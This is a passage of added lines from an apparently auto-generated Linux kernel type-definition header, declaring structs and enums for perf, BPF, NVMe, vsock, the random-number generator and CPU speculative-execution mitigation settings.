long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; +}; + +enum { + BTS_STATE_STOPPED = 0, + BTS_STATE_INACTIVE = 1, + BTS_STATE_ACTIVE = 2, +}; + +struct bts_phys { + struct page *page; + long unsigned int size; + long unsigned int offset; + long unsigned int displacement; +}; + +struct bts_buffer { + size_t real_size; + unsigned int nr_pages; + unsigned int nr_bufs; + unsigned int cur_buf; + bool snapshot; + local_t data_size; + local_t head; + long unsigned int end; + void **data_pages; + struct bts_phys buf[0]; +}; + +enum { + SNB_PCI_UNCORE_IMC = 0, +}; + +enum perf_snb_uncore_imc_freerunning_types { + SNB_PCI_UNCORE_IMC_DATA_READS = 0, + SNB_PCI_UNCORE_IMC_DATA_WRITES = 1, + SNB_PCI_UNCORE_IMC_GT_REQUESTS = 2, + SNB_PCI_UNCORE_IMC_IA_REQUESTS = 3, + SNB_PCI_UNCORE_IMC_IO_REQUESTS = 4, + SNB_PCI_UNCORE_IMC_FREERUNNING_TYPE_MAX = 5, +}; + +struct imc_uncore_pci_dev { + __u32 pci_id; + struct pci_driver *driver; +}; + +enum perf_tgl_uncore_imc_freerunning_types { + TGL_MMIO_UNCORE_IMC_DATA_TOTAL = 0, + TGL_MMIO_UNCORE_IMC_DATA_READ = 1, + TGL_MMIO_UNCORE_IMC_DATA_WRITE = 2, + TGL_MMIO_UNCORE_IMC_FREERUNNING_TYPE_MAX = 3, +}; + +enum perf_adl_uncore_imc_freerunning_types { + ADL_MMIO_UNCORE_IMC_DATA_TOTAL = 0, + ADL_MMIO_UNCORE_IMC_DATA_READ = 1, + ADL_MMIO_UNCORE_IMC_DATA_WRITE = 2, + ADL_MMIO_UNCORE_IMC_FREERUNNING_TYPE_MAX = 3, +}; + +struct trace_event_raw_nmi_handler { + struct trace_entry ent; + void *handler; + s64 delta_ns; + int handled; + char __data[0]; +}; + +struct trace_event_data_offsets_nmi_handler {}; + +typedef void (*btf_trace_nmi_handler)(void *, void *, s64, int); + +struct nmi_desc { + raw_spinlock_t lock; + struct list_head head; +}; + +struct nmi_stats { + unsigned int normal; + unsigned int unknown; + unsigned int external; + unsigned int swallow; + long unsigned int recv_jiffies; + long unsigned int idt_seq; + long unsigned int idt_nmi_seq; + long unsigned int idt_ignored; + atomic_long_t idt_calls; + long unsigned int idt_seq_snap; + long unsigned int idt_nmi_seq_snap; + long unsigned int idt_ignored_snap; + long int idt_calls_snap; +}; + +enum nmi_states { + NMI_NOT_RUNNING = 0, + NMI_EXECUTING = 1, + NMI_LATCHED = 2, +}; + +enum { + HW_BREAKPOINT_LEN_1 = 1, + HW_BREAKPOINT_LEN_2 = 2, + HW_BREAKPOINT_LEN_3 = 3, + HW_BREAKPOINT_LEN_4 = 4, + HW_BREAKPOINT_LEN_5 = 5, + HW_BREAKPOINT_LEN_6 = 6, + HW_BREAKPOINT_LEN_7 = 7, + HW_BREAKPOINT_LEN_8 = 8, +}; + +struct pci_hostbridge_probe { + u32 bus; + u32 slot; + u32 vendor; + u32 device; +}; + +struct dl_bandwidth { + raw_spinlock_t dl_runtime_lock; + u64 dl_runtime; + u64 dl_period; +}; + +struct idle_timer { + struct hrtimer timer; + int done; +}; + +typedef struct rt_rq *rt_rq_iter_t; + +enum bpf_stack_build_id_status { + BPF_STACK_BUILD_ID_EMPTY = 0, + BPF_STACK_BUILD_ID_VALID = 1, + BPF_STACK_BUILD_ID_IP = 2, +}; + +struct bpf_stack_build_id { + __s32 status; + unsigned char build_id[20]; + union { + __u64 offset; + __u64 ip; + }; +}; + +enum { + BPF_F_SKIP_FIELD_MASK = 255, + BPF_F_USER_STACK = 256, + BPF_F_FAST_STACK_CMP = 512, + BPF_F_REUSE_STACKID = 1024, + BPF_F_USER_BUILD_ID = 2048, +}; + +struct stack_map_bucket { + struct pcpu_freelist_node fnode; + u32 hash; + u32 nr; + u64 data[0]; +}; + +struct bpf_stack_map { + struct bpf_map map; + void *elems; + struct pcpu_freelist freelist; + u32 n_buckets; + struct stack_map_bucket *buckets[0]; + long: 64; + long: 64; + long: 64; + long: 64; +}; + +typedef u64 (*btf_bpf_get_stackid)(struct pt_regs *, struct bpf_map *, u64); + +typedef u64 (*btf_bpf_get_stackid_pe)(struct bpf_perf_event_data_kern *, struct bpf_map *, u64); + +typedef u64 (*btf_bpf_get_stack)(struct pt_regs *, void *, u32, u64); + +typedef u64 (*btf_bpf_get_task_stack)(struct task_struct *, void *, u32, u64); + +typedef u64 (*btf_bpf_get_stack_pe)(struct bpf_perf_event_data_kern *, void *, u32, u64); + +struct static_key_mod { + struct static_key_mod *next; + struct jump_entry *entries; + struct module *mod; +}; + +struct static_key_deferred { + struct static_key key; + long unsigned int timeout; + struct delayed_work work; +}; + +struct swap_slots_cache { + bool lock_initialized; + struct mutex alloc_lock; + swp_entry_t *slots; + int nr; + int cur; + spinlock_t free_lock; + swp_entry_t *slots_ret; + int n_ret; +}; + +struct trace_event_raw_test_pages_isolated { + struct trace_entry ent; + long unsigned int start_pfn; + long unsigned int end_pfn; + long unsigned int fin_pfn; + char __data[0]; +}; + +struct trace_event_data_offsets_test_pages_isolated {}; + +typedef void (*btf_trace_test_pages_isolated)(void *, long unsigned int, long unsigned int, long unsigned int); + +struct iomap_swapfile_info { + struct iomap iomap; + struct swap_info_struct *sis; + uint64_t lowest_ppage; + uint64_t highest_ppage; + long unsigned int nr_pages; + int nr_extents; + struct file *file; +}; + +enum { + attr_noop = 0, + attr_delayed_allocation_blocks = 1, + attr_session_write_kbytes = 2, + attr_lifetime_write_kbytes = 3, + attr_reserved_clusters = 4, + attr_sra_exceeded_retry_limit = 5, + attr_inode_readahead = 6, + attr_trigger_test_error = 7, + attr_first_error_time = 8, + attr_last_error_time = 9, + attr_feature = 10, + attr_pointer_ui = 11, + attr_pointer_ul = 12, + attr_pointer_u64 = 13, + attr_pointer_u8 = 14, + attr_pointer_string = 15, + attr_pointer_atomic = 16, + attr_journal_task = 17, +}; + +enum { + ptr_explicit = 0, + ptr_ext4_sb_info_offset = 1, + ptr_ext4_super_block_offset = 2, +}; + +struct ext4_attr { + struct attribute attr; + short int attr_id; + short int attr_ptr; + short unsigned int attr_size; + union { + int offset; + void *explicit_ptr; + } u; +}; + +typedef u32 unicode_t; + +struct utf8_table { + int cmask; + int cval; + int shift; + long int lmask; + long int lval; +}; + +struct keyctl_dh_params { + union { + __s32 private; + __s32 priv; + }; + __s32 prime; + __s32 base; +}; + +struct keyctl_kdf_params { + char *hashname; + char *otherinfo; + __u32 otherinfolen; + __u32 __spare[8]; +}; + +enum devcg_behavior { + DEVCG_DEFAULT_NONE = 0, + DEVCG_DEFAULT_ALLOW = 1, + DEVCG_DEFAULT_DENY = 2, +}; + +struct dev_exception_item { + u32 major; + u32 minor; + short int type; + short int access; + struct list_head list; + struct callback_head rcu; +}; + +struct dev_cgroup { + struct cgroup_subsys_state css; + struct list_head exceptions; + enum devcg_behavior behavior; +}; + +struct ghash_ctx { + struct gf128mul_4k *gf128; +}; + +struct ghash_desc_ctx { + u8 buffer[16]; + u32 bytes; +}; + +enum { + LINUX_RAID_PARTITION___2 = 253, +}; + +struct sgi_volume { + s8 name[8]; + __be32 block_num; + __be32 num_bytes; +}; + +struct sgi_partition { + __be32 num_blocks; + __be32 first_block; + __be32 type; +}; + +struct sgi_disklabel { + __be32 magic_mushroom; + __be16 root_part_num; + __be16 swap_part_num; + s8 boot_file[16]; + u8 _unused0[48]; + struct sgi_volume volume[15]; + struct sgi_partition partitions[16]; + __be32 csum; + __be32 _unused1; +}; + +struct io_rw_state { + struct iov_iter iter; + struct iov_iter_state iter_state; + struct iovec fast_iov[8]; +}; + +struct io_async_rw { + struct io_rw_state s; + const struct iovec *free_iovec; + size_t bytes_done; + struct wait_page_queue wpq; +}; + +struct io_rw { + struct kiocb kiocb; + u64 addr; + u32 len; + rwf_t flags; +}; + +struct irq_glue { + struct irq_affinity_notify notify; + struct cpu_rmap *rmap; + u16 index; +}; + +struct pci_bus_resource { + struct list_head list; + struct resource *res; + unsigned int flags; +}; + +struct pci_fixup { + u16 vendor; + u16 device; + u32 class; + unsigned int class_shift; + int hook_offset; +}; + +enum { + NVME_REG_CAP = 0, + NVME_REG_VS = 8, + NVME_REG_INTMS = 12, + NVME_REG_INTMC = 16, + NVME_REG_CC = 20, + NVME_REG_CSTS = 28, + NVME_REG_NSSR = 32, + NVME_REG_AQA = 36, + NVME_REG_ASQ = 40, + NVME_REG_ACQ = 48, + NVME_REG_CMBLOC = 56, + NVME_REG_CMBSZ = 60, + NVME_REG_BPINFO = 64, + NVME_REG_BPRSEL = 68, + NVME_REG_BPMBL = 72, + NVME_REG_CMBMSC = 80, + NVME_REG_CRTO = 104, + NVME_REG_PMRCAP = 3584, + NVME_REG_PMRCTL = 3588, + NVME_REG_PMRSTS = 3592, + NVME_REG_PMREBS = 3596, + NVME_REG_PMRSWTP = 3600, + NVME_REG_DBS = 4096, +}; + +enum { + NVME_CC_ENABLE = 1, + NVME_CC_EN_SHIFT = 0, + NVME_CC_CSS_SHIFT = 4, + NVME_CC_MPS_SHIFT = 7, + NVME_CC_AMS_SHIFT = 11, + NVME_CC_SHN_SHIFT = 14, + NVME_CC_IOSQES_SHIFT = 16, + NVME_CC_IOCQES_SHIFT = 20, + NVME_CC_CSS_NVM = 0, + NVME_CC_CSS_CSI = 96, + NVME_CC_CSS_MASK = 112, + NVME_CC_AMS_RR = 0, + NVME_CC_AMS_WRRU = 2048, + NVME_CC_AMS_VS = 14336, + NVME_CC_SHN_NONE = 0, + NVME_CC_SHN_NORMAL = 16384, + NVME_CC_SHN_ABRUPT = 32768, + NVME_CC_SHN_MASK = 49152, + NVME_CC_IOSQES = 393216, + NVME_CC_IOCQES = 4194304, + NVME_CC_CRIME = 16777216, +}; + +enum { + NVME_CSTS_RDY = 1, + NVME_CSTS_CFS = 2, + NVME_CSTS_NSSRO = 16, + NVME_CSTS_PP = 32, + NVME_CSTS_SHST_NORMAL = 0, + NVME_CSTS_SHST_OCCUR = 4, + NVME_CSTS_SHST_CMPLT = 8, + NVME_CSTS_SHST_MASK = 12, +}; + +enum { + NVME_AEN_BIT_NS_ATTR = 8, + NVME_AEN_BIT_FW_ACT = 9, + NVME_AEN_BIT_ANA_CHANGE = 11, + NVME_AEN_BIT_DISC_CHANGE = 31, +}; + +enum { + SWITCHTEC_GAS_MRPC_OFFSET = 0, + SWITCHTEC_GAS_TOP_CFG_OFFSET = 4096, + SWITCHTEC_GAS_SW_EVENT_OFFSET = 6144, + SWITCHTEC_GAS_SYS_INFO_OFFSET = 8192, + SWITCHTEC_GAS_FLASH_INFO_OFFSET = 8704, + SWITCHTEC_GAS_PART_CFG_OFFSET = 16384, + SWITCHTEC_GAS_NTB_OFFSET = 65536, + SWITCHTEC_GAS_PFF_CSR_OFFSET = 1261568, +}; + +enum { + SWITCHTEC_NTB_REG_INFO_OFFSET = 0, + SWITCHTEC_NTB_REG_CTRL_OFFSET = 16384, + SWITCHTEC_NTB_REG_DBMSG_OFFSET = 409600, +}; + +struct nt_partition_info { + u32 xlink_enabled; + u32 target_part_low; + u32 target_part_high; + u32 reserved; +}; + +struct ntb_info_regs { + u8 partition_count; + u8 partition_id; + u16 reserved1; + u64 ep_map; + u16 requester_id; + u16 reserved2; + u32 reserved3[4]; + struct nt_partition_info ntp_info[48]; +} __attribute__((packed)); + +struct ntb_ctrl_regs { + u32 partition_status; + u32 partition_op; + u32 partition_ctrl; + u32 bar_setup; + u32 bar_error; + u16 lut_table_entries; + u16 lut_table_offset; + u32 lut_error; + u16 req_id_table_size; + u16 req_id_table_offset; + u32 req_id_error; + u32 reserved1[7]; + struct { + u32 ctl; + u32 win_size; + u64 xlate_addr; + } bar_entry[6]; + struct { + u32 win_size; + u32 reserved[3]; + } bar_ext_entry[6]; + u32 reserved2[192]; + u32 req_id_table[512]; + u32 reserved3[256]; + u64 lut_entry[512]; +}; + +struct pci_dev_reset_methods { + u16 vendor; + u16 device; + int (*reset)(struct pci_dev *, bool); +}; + +struct pci_dev_acs_enabled { + u16 vendor; + u16 device; + int (*acs_enabled)(struct pci_dev *, u16); +}; + +struct pci_dev_acs_ops { + u16 vendor; + u16 device; + int (*enable_acs)(struct pci_dev *); + int (*disable_acs_redir)(struct pci_dev *); +}; + +struct acpi_data_node_attr { + struct attribute attr; + ssize_t (*show)(struct acpi_data_node *, char *); + ssize_t (*store)(struct acpi_data_node *, const char *, size_t); +}; + +struct acpi_power_dependent_device { + struct device *dev; + struct list_head node; +}; + +struct acpi_power_resource { + struct acpi_device device; + struct list_head list_node; + u32 system_level; + u32 order; + unsigned int ref_count; + u8 state; + struct mutex resource_lock; + struct list_head dependents; +}; + +struct acpi_power_resource_entry { + struct list_head node; + struct acpi_power_resource *resource; +}; + +typedef u64 acpi_integer; + +struct pcc_data { + struct pcc_mbox_chan *pcc_chan; + void *pcc_comm_addr; + struct completion done; + struct mbox_client cl; + struct acpi_pcc_info ctx; +}; + +struct acpi_get_devices_info { + acpi_walk_callback user_function; + void *context; + const char *hid; +}; + +struct acpipnp_parse_option_s { + struct pnp_dev *dev; + unsigned int option_flags; +}; + +struct execute_work { + struct work_struct work; +}; + +struct timer_rand_state { + long unsigned int last_time; + long int last_delta; + long int last_delta2; +}; + +enum chacha_constants { + CHACHA_CONSTANT_EXPA = 1634760805, + CHACHA_CONSTANT_ND_3 = 857760878, + CHACHA_CONSTANT_2_BY = 2036477234, + CHACHA_CONSTANT_TE_K = 1797285236, +}; + +enum { + CRNG_EMPTY = 0, + CRNG_EARLY = 1, + CRNG_READY = 2, +}; + +enum { + CRNG_RESEED_START_INTERVAL = 1000, + CRNG_RESEED_INTERVAL = 60000, +}; + +struct crng { + u8 key[32]; + long unsigned int generation; + local_lock_t lock; +}; + +struct batch_u8 { + u8 entropy[96]; + local_lock_t lock; + long unsigned int generation; + unsigned int position; +}; + +struct batch_u16 { + u16 entropy[48]; + local_lock_t lock; + long unsigned int generation; + unsigned int position; +}; + +struct batch_u32 { + u32 entropy[24]; + local_lock_t lock; + long unsigned int generation; + unsigned int position; +}; + +struct batch_u64 { + u64 entropy[12]; + local_lock_t lock; + long unsigned int generation; + unsigned int position; +}; + +enum { + POOL_BITS = 256, + POOL_READY_BITS = 256, + POOL_EARLY_BITS = 128, +}; + +struct fast_pool { + long unsigned int pool[4]; + long unsigned int last; + unsigned int count; + struct timer_list mix; +}; + +struct entropy_timer_state { + long unsigned int entropy; + struct timer_list timer; + atomic_t samples; + unsigned int samples_per_bit; +}; + +enum { + NUM_TRIAL_SAMPLES = 8192, + MAX_SAMPLES_PER_BIT = 66, +}; + +enum { + MIX_INFLIGHT = 2147483648, +}; + +enum { + BOND_3AD_STAT_LACPDU_RX = 0, + BOND_3AD_STAT_LACPDU_TX = 1, + BOND_3AD_STAT_LACPDU_UNKNOWN_RX = 2, + BOND_3AD_STAT_LACPDU_ILLEGAL_RX = 3, + BOND_3AD_STAT_MARKER_RX = 4, + BOND_3AD_STAT_MARKER_TX = 5, + BOND_3AD_STAT_MARKER_RESP_RX = 6, + BOND_3AD_STAT_MARKER_RESP_TX = 7, + BOND_3AD_STAT_MARKER_UNKNOWN_RX = 8, + BOND_3AD_STAT_PAD = 9, + __BOND_3AD_STAT_MAX = 10, +}; + +enum { + AD_TYPE_LACPDU = 1, + AD_TYPE_MARKER = 2, +}; + +enum { + AD_MARKER_INFORMATION_SUBTYPE = 1, + AD_MARKER_RESPONSE_SUBTYPE = 2, +}; + +enum { + AD_CURRENT_WHILE_TIMER = 0, + AD_ACTOR_CHURN_TIMER = 1, + AD_PERIODIC_TIMER = 2, + AD_PARTNER_CHURN_TIMER = 3, + AD_WAIT_WHILE_TIMER = 4, +}; + +struct lacpdu_header { + struct ethhdr hdr; + struct lacpdu lacpdu; +}; + +struct bond_marker { + u8 subtype; + u8 version_number; + u8 tlv_type; + u8 marker_length; + u16 requester_port; + struct mac_addr requester_system; + u32 requester_transaction_id; + u16 pad; + u8 tlv_type_terminator; + u8 terminator_length; + u8 reserved_90[90]; +} __attribute__((packed)); + +struct bond_marker_header { + struct ethhdr hdr; + struct bond_marker marker; +} __attribute__((packed)); + +enum ad_link_speed_type { + AD_LINK_SPEED_1MBPS = 1, + AD_LINK_SPEED_10MBPS = 2, + AD_LINK_SPEED_100MBPS = 3, + AD_LINK_SPEED_1000MBPS = 4, + AD_LINK_SPEED_2500MBPS = 5, + AD_LINK_SPEED_5000MBPS = 6, + AD_LINK_SPEED_10000MBPS = 7, + AD_LINK_SPEED_14000MBPS = 8, + AD_LINK_SPEED_20000MBPS = 9, + AD_LINK_SPEED_25000MBPS = 10, + AD_LINK_SPEED_40000MBPS = 11, + AD_LINK_SPEED_50000MBPS = 12, + AD_LINK_SPEED_56000MBPS = 13, + AD_LINK_SPEED_100000MBPS = 14, + AD_LINK_SPEED_200000MBPS = 15, + AD_LINK_SPEED_400000MBPS = 16, + AD_LINK_SPEED_800000MBPS = 17, +}; + +enum { + TCA_STATS_UNSPEC = 0, + TCA_STATS_BASIC = 1, + TCA_STATS_RATE_EST = 2, + TCA_STATS_QUEUE = 3, + TCA_STATS_APP = 4, + TCA_STATS_RATE_EST64 = 5, + TCA_STATS_PAD = 6, + TCA_STATS_BASIC_HW = 7, + TCA_STATS_PKT64 = 8, + __TCA_STATS_MAX = 9, +}; + +struct gnet_stats_basic { + __u64 bytes; + __u32 packets; +}; + +struct gnet_stats_rate_est { + __u32 bps; + __u32 pps; +}; + +struct fib_rule_uid_range { + __u32 start; + __u32 end; +}; + +struct fib_rule_notifier_info { + struct fib_notifier_info info; + struct fib_rule *rule; +}; + +struct tc_act_bpf { + __u32 index; + __u32 capab; + int action; + int refcnt; + int bindcnt; +}; + +enum { + TCA_ACT_BPF_UNSPEC = 0, + TCA_ACT_BPF_TM = 1, + TCA_ACT_BPF_PARMS = 2, + TCA_ACT_BPF_OPS_LEN = 3, + TCA_ACT_BPF_OPS = 4, + TCA_ACT_BPF_FD = 5, + TCA_ACT_BPF_NAME = 6, + TCA_ACT_BPF_PAD = 7, + TCA_ACT_BPF_TAG = 8, + TCA_ACT_BPF_ID = 9, + __TCA_ACT_BPF_MAX = 10, +}; + +struct tcf_bpf { + struct tc_action common; + struct bpf_prog *filter; + union { + u32 bpf_fd; + u16 bpf_num_ops; + }; + struct sock_filter *bpf_ops; + const char *bpf_name; +}; + +struct tcf_bpf_cfg { + struct bpf_prog *filter; + struct sock_filter *bpf_ops; + const char *bpf_name; + u16 bpf_num_ops; + bool is_ebpf; +}; + +struct debug_reply_data { + struct ethnl_reply_data base; + u32 msg_mask; +}; + +struct nf_log_buf { + unsigned int count; + char buf[1020]; +}; + +struct ipfrag_skb_cb { + union { + struct inet_skb_parm h4; + struct inet6_skb_parm h6; + }; + struct sk_buff *next_frag; + int frag_run_len; +}; + +struct tcp_diag_md5sig { + __u8 tcpm_family; + __u8 tcpm_prefixlen; + __u16 tcpm_keylen; + __be32 tcpm_addr[4]; + __u8 tcpm_key[80]; +}; + +struct icmp6_filter { + __u32 data[8]; +}; + +struct raw6_sock { + struct inet_sock inet; + __u32 checksum; + __u32 offset; + struct icmp6_filter filter; + __u32 ip6mr_table; + struct ipv6_pinfo inet6; +}; + +typedef int mh_filter_t(struct sock *, struct sk_buff *); + +struct raw6_frag_vec { + struct msghdr *msg; + int hlen; + char c[4]; +}; + +struct virtio_vsock_hdr { + __le64 src_cid; + __le64 dst_cid; + __le32 src_port; + __le32 dst_port; + __le32 len; + __le16 type; + __le16 op; + __le32 flags; + __le32 buf_alloc; + __le32 fwd_cnt; +} __attribute__((packed)); + +enum virtio_vsock_type { + VIRTIO_VSOCK_TYPE_STREAM = 1, + VIRTIO_VSOCK_TYPE_SEQPACKET = 2, +}; + +enum virtio_vsock_op { + VIRTIO_VSOCK_OP_INVALID = 0, + VIRTIO_VSOCK_OP_REQUEST = 1, + VIRTIO_VSOCK_OP_RESPONSE = 2, + VIRTIO_VSOCK_OP_RST = 3, + VIRTIO_VSOCK_OP_SHUTDOWN = 4, + VIRTIO_VSOCK_OP_RW = 5, + VIRTIO_VSOCK_OP_CREDIT_UPDATE = 6, + VIRTIO_VSOCK_OP_CREDIT_REQUEST = 7, +}; + +enum virtio_vsock_shutdown { + VIRTIO_VSOCK_SHUTDOWN_RCV = 1, + VIRTIO_VSOCK_SHUTDOWN_SEND = 2, +}; + +enum virtio_vsock_rw { + VIRTIO_VSOCK_SEQ_EOM = 1, + VIRTIO_VSOCK_SEQ_EOR = 2, +}; + +struct virtio_vsock_skb_cb { + bool reply; + bool tap_delivered; +}; + +struct virtio_vsock_sock { + struct vsock_sock *vsk; + spinlock_t tx_lock; + spinlock_t rx_lock; + u32 tx_cnt; + u32 peer_fwd_cnt; + u32 peer_buf_alloc; + u32 fwd_cnt; + u32 last_fwd_cnt; + u32 rx_bytes; + u32 buf_alloc; + struct sk_buff_head rx_queue; + u32 msg_count; +}; + +struct virtio_vsock_pkt_info { + u32 remote_cid; + u32 remote_port; + struct vsock_sock *vsk; + struct msghdr *msg; + u32 pkt_len; + u16 type; + u16 op; + u32 flags; + bool reply; +}; + +struct af_vsockmon_hdr { + __le64 src_cid; + __le64 dst_cid; + __le32 src_port; + __le32 dst_port; + __le16 op; + __le16 transport; + __le16 len; + __u8 reserved[2]; +}; + +enum af_vsockmon_op { + AF_VSOCK_OP_UNKNOWN = 0, + AF_VSOCK_OP_CONNECT = 1, + AF_VSOCK_OP_DISCONNECT = 2, + AF_VSOCK_OP_CONTROL = 3, + AF_VSOCK_OP_PAYLOAD = 4, +}; + +enum af_vsockmon_transport { + AF_VSOCK_TRANSPORT_UNKNOWN = 0, + AF_VSOCK_TRANSPORT_NO_INFO = 1, + AF_VSOCK_TRANSPORT_VIRTIO = 2, +}; + +struct trace_event_raw_virtio_transport_alloc_pkt { + struct trace_entry ent; + __u32 src_cid; + __u32 src_port; + __u32 dst_cid; + __u32 dst_port; + __u32 len; + __u16 type; + __u16 op; + __u32 flags; + char __data[0]; +}; + +struct trace_event_raw_virtio_transport_recv_pkt { + struct trace_entry ent; + __u32 src_cid; + __u32 src_port; + __u32 dst_cid; + __u32 dst_port; + __u32 len; + __u16 type; + __u16 op; + __u32 flags; + __u32 buf_alloc; + __u32 fwd_cnt; + char __data[0]; +}; + +struct trace_event_data_offsets_virtio_transport_alloc_pkt {}; + +struct trace_event_data_offsets_virtio_transport_recv_pkt {}; + +typedef void (*btf_trace_virtio_transport_alloc_pkt)(void *, __u32, __u32, __u32, __u32, __u32, __u16, __u16, __u32); + +typedef void (*btf_trace_virtio_transport_recv_pkt)(void *, __u32, __u32, __u32, __u32, __u32, __u16, __u16, __u32, __u32, __u32); + +struct pebs_basic { + u64 format_size; + u64 ip; + u64 applicable_counters; + u64 tsc; +}; + +struct pebs_meminfo { + u64 address; + u64 aux; + u64 latency; + u64 tsx_tuning; +}; + +struct pebs_gprs { + u64 flags; + u64 ip; + u64 ax; + u64 cx; + u64 dx; + u64 bx; + u64 sp; + u64 bp; + u64 si; + u64 di; + u64 r8; + u64 r9; + u64 r10; + u64 r11; + u64 r12; + u64 r13; + u64 r14; + u64 r15; +}; + +struct pebs_xmm { + u64 xmm[32]; +}; + +enum { + PERF_TXN_ELISION = 1ULL, + PERF_TXN_TRANSACTION = 2ULL, + PERF_TXN_SYNC = 4ULL, + PERF_TXN_ASYNC = 8ULL, + PERF_TXN_RETRY = 16ULL, + PERF_TXN_CONFLICT = 32ULL, + PERF_TXN_CAPACITY_WRITE = 64ULL, + PERF_TXN_CAPACITY_READ = 128ULL, + PERF_TXN_MAX = 256ULL, + PERF_TXN_ABORT_MASK = 18446744069414584320ULL, + PERF_TXN_ABORT_SHIFT = 32ULL, +}; + +union intel_x86_pebs_dse { + u64 val; + struct { + unsigned int ld_dse: 4; + unsigned int ld_stlb_miss: 1; + unsigned int ld_locked: 1; + unsigned int ld_data_blk: 1; + unsigned int ld_addr_blk: 1; + unsigned int ld_reserved: 24; + }; + struct { + unsigned int st_l1d_hit: 1; + unsigned int st_reserved1: 3; + unsigned int st_stlb_miss: 1; + unsigned int st_locked: 1; + unsigned int st_reserved2: 26; + }; + struct { + unsigned int st_lat_dse: 4; + unsigned int st_lat_stlb_miss: 1; + unsigned int st_lat_locked: 1; + unsigned int ld_reserved3: 26; + }; + struct { + unsigned int mtl_dse: 5; + unsigned int mtl_locked: 1; + unsigned int mtl_stlb_miss: 1; + unsigned int mtl_fwd_blk: 1; + unsigned int ld_reserved4: 24; + }; +}; + +struct pebs_record_core { + u64 flags; + u64 ip; + u64 ax; + u64 bx; + u64 cx; + u64 dx; + u64 si; + u64 di; + u64 bp; + u64 sp; + u64 r8; + u64 r9; + u64 r10; + u64 r11; + u64 r12; + u64 r13; + u64 r14; + u64 r15; +}; + +struct pebs_record_nhm { + u64 flags; + u64 ip; + u64 ax; + u64 bx; + u64 cx; + u64 dx; + u64 si; + u64 di; + u64 bp; + u64 sp; + u64 r8; + u64 r9; + u64 r10; + u64 r11; + u64 r12; + u64 r13; + u64 r14; + u64 r15; + u64 status; + u64 dla; + u64 dse; + u64 lat; +}; + +union hsw_tsx_tuning { + struct { + u32 cycles_last_block: 32; + u32 hle_abort: 1; + u32 rtm_abort: 1; + u32 instruction_abort: 1; + u32 non_instruction_abort: 1; + u32 retry: 1; + u32 data_conflict: 1; + u32 capacity_writes: 1; + u32 capacity_reads: 1; + }; + u64 value; +}; + +struct pebs_record_skl { + u64 flags; + u64 ip; + u64 ax; + u64 bx; + u64 cx; + u64 dx; + u64 si; + u64 di; + u64 bp; + u64 sp; + u64 r8; + u64 r9; + u64 r10; + u64 r11; + u64 r12; + u64 r13; + u64 r14; + u64 r15; + u64 status; + u64 dla; + u64 dse; + u64 lat; + u64 real_ip; + u64 tsx_tuning; + u64 tsc; +}; + +struct bts_record { + u64 from; + u64 to; + u64 flags; +}; + +enum spectre_v2_user_mitigation { + SPECTRE_V2_USER_NONE = 0, + SPECTRE_V2_USER_STRICT = 1, + SPECTRE_V2_USER_STRICT_PREFERRED = 2, + SPECTRE_V2_USER_PRCTL = 3, + SPECTRE_V2_USER_SECCOMP = 4, +}; + +enum ssb_mitigation { + SPEC_STORE_BYPASS_NONE = 0, + SPEC_STORE_BYPASS_DISABLE = 1, + SPEC_STORE_BYPASS_PRCTL = 2, + SPEC_STORE_BYPASS_SECCOMP = 3, +}; + +enum mds_mitigations { + MDS_MITIGATION_OFF = 0, + MDS_MITIGATION_FULL = 1, + MDS_MITIGATION_VMWERV = 2, +}; + +enum taa_mitigations { + TAA_MITIGATION_OFF = 0, + TAA_MITIGATION_UCODE_NEEDED = 1, + TAA_MITIGATION_VERW = 2, + TAA_MITIGATION_TSX_DISABLED = 3, +}; + +enum mmio_mitigations { + MMIO_MITIGATION_OFF = 0, + MMIO_MITIGATION_UCODE_NEEDED = 1, + MMIO_MITIGATION_VERW = 2, +}; + +enum srbds_mitigations { + SRBDS_MITIGATION_OFF = 0, + SRBDS_MITIGATION_UCODE_NEEDED = 1, + SRBDS_MITIGATION_FULL = 2, + SRBDS_MITIGATION_TSX_OFF = 3, + SRBDS_MITIGATION_HYPERVISOR = 4, +}; + +enum l1d_flush_mitigations { + L1D_FLUSH_OFF = 0, + L1D_FLUSH_ON = 1, +}; + +enum spectre_v1_mitigation { + SPECTRE_V1_MITIGATION_NONE = 0, + SPECTRE_V1_MITIGATION_AUTO = 1, +}; + +enum retbleed_mitigation { + RETBLEED_MITIGATION_NONE = 0, + RETBLEED_MITIGATION_UNRET = 1, + RETBLEED_MITIGATION_IBPB = 2, + RETBLEED_MITIGATION_IBRS = 3, + RETBLEED_MITIGATION_EIBRS = 4, + RETBLEED_MITIGATION_STUFF = 5, +}; + +enum retbleed_mitigation_cmd { + RETBLEED_CMD_OFF = 0, + RETBLEED_CMD_AUTO = 1, + RETBLEED_CMD_UNRET = 2, + RETBLEED_CMD_IBPB = 3, + RETBLEED_CMD_STUFF = 4, +}; + +enum spectre_v2_mitigation_cmd { + SPECTRE_V2_CMD_NONE = 0, + SPECTRE_V2_CMD_AUTO = 1, + SPECTRE_V2_CMD_FORCE = 2, + SPECTRE_V2_CMD_RETPOLINE = 3, + SPECTRE_V2_CMD_RETPOLINE_GENERIC = 4, + SPECTRE_V2_CMD_RETPOLINE_LFENCE = 5, + SPECTRE_V2_CMD_EIBRS = 6, + SPECTRE_V2_CMD_EIBRS_RETPOLINE = 7, + SPECTRE_V2_CMD_EIBRS_LFENCE = 8, + SPECTRE_V2_CMD_IBRS = 9, +}; + +enum spectre_v2_user_cmd { + SPECTRE_V2_USER_CMD_NONE = 0, + SPECTRE_V2_USER_CMD_AUTO = 1, + SPECTRE_V2_USER_CMD_FORCE = 2, + SPECTRE_V2_USER_CMD_PRCTL = 3, + SPECTRE_V2_USER_CMD_PRCTL_IBPB = 4, + SPECTRE_V2_USER_CMD_SECCOMP = 5, + SPECTRE_V2_USER_CMD_SECCOMP_IBPB = 6, +}; + +enum ssb_mitigation_cmd { + 